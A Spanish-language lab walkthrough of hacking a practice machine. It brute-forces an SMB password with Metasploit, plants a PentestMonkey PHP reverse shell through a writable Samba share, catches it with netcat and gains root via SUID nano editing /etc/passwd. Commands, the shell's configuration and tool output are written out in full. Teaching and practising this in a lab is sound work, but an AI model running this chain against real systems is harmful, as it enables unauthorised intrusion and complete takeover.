¿Qué veremos en esta máquina?

En este laboratorio práctico, exploraremos tres pasos clave de forma sencilla:

  • Escaneo y enumeración: Identificaremos puertos abiertos y servicios activos, centrándonos en SMB (Samba), el protocolo para compartir archivos en redes.

  • Explotación del servicio SMB: Aprenderemos a explotar fallos comunes en configuraciones de Samba para acceder al sistema, usando herramientas básicas y sin tecnicismos complicados.

  • Post-explotación: Tras acceder, descubriremos cómo aprovechar permisos SUID mal asignados para escalar privilegios y tomar control total de la máquina.

Vamos paso a paso, como siempre: práctico y sin rodeos.

Reconocimiento

Lo primero es identificar los puertos abiertos en el objetivo para saber qué servicios están corriendo. Para ello, usamos nmap: nmap -p- -n -sV 172.17.0.2 -oG escaneo

Este comando nos escanea todos los puertos y detecta la versión de los servicios. En el resultado vemos que tenemos:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 21:53 UTC
Nmap scan report for 172.17.0.2
Host is up (0.0000090s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.52 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
  • Puerto 80: Servicio HTTP con Apache (versión 2.4.52 en Ubuntu).
    Al acceder, encontramos únicamente la página principal y ningún otro recurso oculto, ya que el fuzzer no nos revela más. Texto alternativo

Puertos 139 y 445: Servicios relacionados con Samba.

Para obtener más información de Samba, ejecutamos enum4linux:

enum4linux -a 172.17.0.2

Con este comando descubrimos datos interesantes, como el nombre de dominio y dos usuarios del sistema:
bob y james.

Explotación

Al conocer los usuarios disponibles, aprovechamos para realizar un ataque de fuerza bruta sobre el servicio SMB. Dado que hydra no soporta smbv1, utilizamos el módulo de Metasploit auxiliary/scanner/smb/smb_login configurándolo de la siguiente manera: (Si no sabes usar metasploit visita. [INSERTAR GUIA DE METASPLOIT])

Establecemos el usuario set SMBUser bob

Indicamos la Ip del objetivo: set RHOST 172.17.0.2

Usamos la lista de palabras rockyou.txt para intentar adivinar la contraseña: set PASS_FILE /usr/share/wordlists/rockyou.txt

Al ejecutar (run) y esperar un rato, logramos descubrir la contraseña de bob.

Con las credenciales de bob, empezamos a enumerar los recursos SMB con smbmap:

smbmap -H 172.17.0.2 -u bob -p star

El resultado nos muestra varias carpetas compartidas, entre ellas:

  • print$ (solo lectura)
  • html (lectura y escritura)
  • IPC$ (sin acceso)
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      

[+] IP: 172.17.0.2:445  Name: 172.17.0.2            Status: Authenticated
    Disk                                                    Permissions Comment
    ----                                                    ----------- -------
    print$                                              READ ONLY   Printer Drivers
    html                                                READ, WRITE HTML Share
    IPC$                                                NO ACCESS   IPC Service (1d60a12564ac server (Samba, Ubuntu))

La carpeta html es la que contiene los archivos de la página web alojada en Apache. Para ver su contenido, usamos:

smbmap -H 172.17.0.2 -u bob -p star -r html

Aquí encontramos, por ejemplo, el archivo index.html

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          

[+] IP: 172.17.0.2:445  Name: 172.17.0.2            Status: Authenticated
    Disk                                                    Permissions Comment
    ----                                                    ----------- -------
    print$                                              READ ONLY   Printer Drivers
    html                                                READ, WRITE HTML Share
    ./html
    dr--r--r--                0 Sat Feb  8 02:15:09 2025    .
    dr--r--r--                0 Thu Apr 11 08:18:46 2024    ..
    fr--r--r--             1832 Thu Apr 11 08:21:42 2024    index.html
    IPC$                                                NO ACCESS   IPC Service (1d60a12564ac server (Samba, Ubuntu))

¿Cómo ganamos acceso remoto?

Utilizamos la conocida reverse shell de PentestMonkey. Lo que hacemos es:

  1. Descargar el archivo reverse_shell.php y editarlo para cambiar la IP y el puerto de conexión (por ejemplo, ajustamos $ip = 'nuestra_ip' y $port = puerto).
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

  1. Subimos el archivo al servidor mediante smbclient:
smbclient //172.17.0.2/html -U 'bob%star' -c "put reverse_shell.php"
  1. Nos ponemos a la escucha con Netcat: nc -nlvp 4444
  2. Accedemos al archivo desde el navegador, visitando: http://172.17.0.2/reverse_shell.php Esto nos establece una conexión inversa (reverse shell) en el sistema como el usuario www-data.

Mejoramos la interacción con la shell
Para tener una terminal interactiva de calidad, realizamos un tratamiento de TTY con los siguientes comandos:

  1. iniciamos una sesión con: script /dev/null -c bash

  2. Presionamos Ctrl + z para enviar la sesión a segundo plano.

  3. Ejecutamos: stty raw -echo;fg

  4. Luego restablecemos la terminal con: reset xterm

  5. Finalmente exportamos las variables de entorno necesarias:

export TERM=xterm
export SHELL=bash 

Con esto tenemos una shell interactiva y estable en el sistema objetivo.

Post-explotación

¿Qué buscamos ahora?
Con acceso al sistema, queremos escalar privilegios. Un método común es buscar ejecutables con permisos SUID que puedan ser explotados.

Ejecutamos el siguiente comando para listar todos los archivos con permisos SUID:

./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/bin/newgrp
./usr/bin/chfn
./usr/bin/mount
./usr/bin/su
./usr/bin/passwd
./usr/bin/umount
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/nano

Entre los resultados, encontramos varios binarios, destacando nano despues de una busqueda rapida en gtfobins. Verificamos los permisos de nano con: ls -l usr/bin/nano

El resultado muestra algo similar a: -rwsr-xr-x 1 root root 283144 Feb 19 2022 usr/bin/nano El indicador s en lugar de x en la posición de permisos indica que nano tiene el bit SUID activo. Consultando en GTFOBins, vemos que podemos aprovechar nano para editar archivos sensibles.

Para explotar esto llamamos toda la ruta del binario y no le proporcionamos argumentos /usr/bin/nano /etc/shadow

Revisamos el archivo /etc/shadow y descubrimos que el usuario root no tiene contraseña asignada. Así, editamos el archivo /etc/passwd para quitar la x en la entrada de root. Originalmente aparece así:

root:x:0:0:root:/root:/bin/bash

La modificamos a:

root::0:0:root:/root:/bin/bash

unicamente quitamos la x

Esto nos permite cambiar a usuario root sin necesidad de contraseña.

Finalmente, ejecutamos: su root

Y comprobamos que ya tenemos acceso como superusuario:

root@d59b46d0af81:/# whoami
root
root@d59b46d0af81:/# 

Esta metodología, explicada de forma sencilla, demuestra cómo se pueden encadenar varias técnicas para pasar de un usuario remoto a conseguir privilegios de administrador en un sistema.

Gracias por leerme les deseo un feliz dia. Att:David